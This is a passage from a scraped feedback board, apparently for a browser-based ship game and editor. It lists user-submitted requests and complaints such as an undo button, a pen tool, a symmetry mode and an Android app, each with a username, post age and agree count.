  Unvote

  579 agree

• Undo button
  By wombat - 152 months ago
  Unvote

  572 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 148 months ago
  Unvote

  566 agree

• achievements
  By Lee - 154 months ago
  Unvote

  565 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 154 months ago
  Unvote

  564 agree

• how do i draw the outline
  By kickassisdeboss - 154 months ago
  Unvote

  564 agree

• omfg
  By Russellmichael13 - 153 months ago
  Unvote

  558 agree

• Pen tool
  By Cblackdragon - 149 months ago
  Vote

  553 agree

• You guys should have a symmetrical mode
  By Idrees - 154 months ago
  Unvote

  523 agree

• White labeling the app?
  By Peter.dibart - 150 months ago
  Unvote

  522 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 154 months ago
  Unvote

  519 agree

• Enemies
  By Agallup16 - 154 months ago
  Unvote

  511 agree

• Mirrored editing
  By wombat - 152 months ago
  Unvote

  506 agree

• Designer
  By Anonymous - 155 months ago
  Unvote

  498 agree

• need some advice
  By Hao - 152 months ago
  Unvote

  496 agree

• Rankings
  By heyo - 154 months ago
  Unvote

  493 agree

• Benefits from improving ranks
  By hurrtz - 150 months ago
  Unvote

  490 agree

• Pro!!
  By Jtbui20 - 153 months ago
  Unvote

  488 agree

• Button
  By Cottonball - 153 months ago
  Unvote

  483 agree

• Forums
  By BeyPokéDig - 154 months ago
  Unvote

  479 agree

• help
  By Russellmichael13 - 153 months ago
  Unvote

  477 agree

• android app
  By Barissenkal - 146 months ago
  Unvote

  469 agree

• Undo Button
  By Cblackdragon - 149 months ago
  Unvote

  467 agree

• Extra weapons
  By MassMurdererOver9000 - 149 months ago
  Unvote

  465 agree

• 1 agrees
  By BeyPokéDig - 154 months ago
  Unvote

  462 agree

• I am using this on my site
  By Idrees - 154 months ago
  Unvote

  461 agree

• Image for ship
  By wombat - 152 months ago
  Unvote

  455 agree

• 0xp till| Only GA.
  By StoleYourFood - 149 months ago
  Unvote

  455 agree

• Question
  By Kickin Ass - 154 months ago
  Unvote

  442 agree

• how come the editor is so hard to use
  By Rcasassin - 151 months ago
  Unvote

  434 agree

• You guys need an undo button
  By Idrees - 154 months ago
  Unvote

  432 agree

• page moving up/down while controling the ship?
  By Tommy - 154 months ago
  Unvote

  420 agree